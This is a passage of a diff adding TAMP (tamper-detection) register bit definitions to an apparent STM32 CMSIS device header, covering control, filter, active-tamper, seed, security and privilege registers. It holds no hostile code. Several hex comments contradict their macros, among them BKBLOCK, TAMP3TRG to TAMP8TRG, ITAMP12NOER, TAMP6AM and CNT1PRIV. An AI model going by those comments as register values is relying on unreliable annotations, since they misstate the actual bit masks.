TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 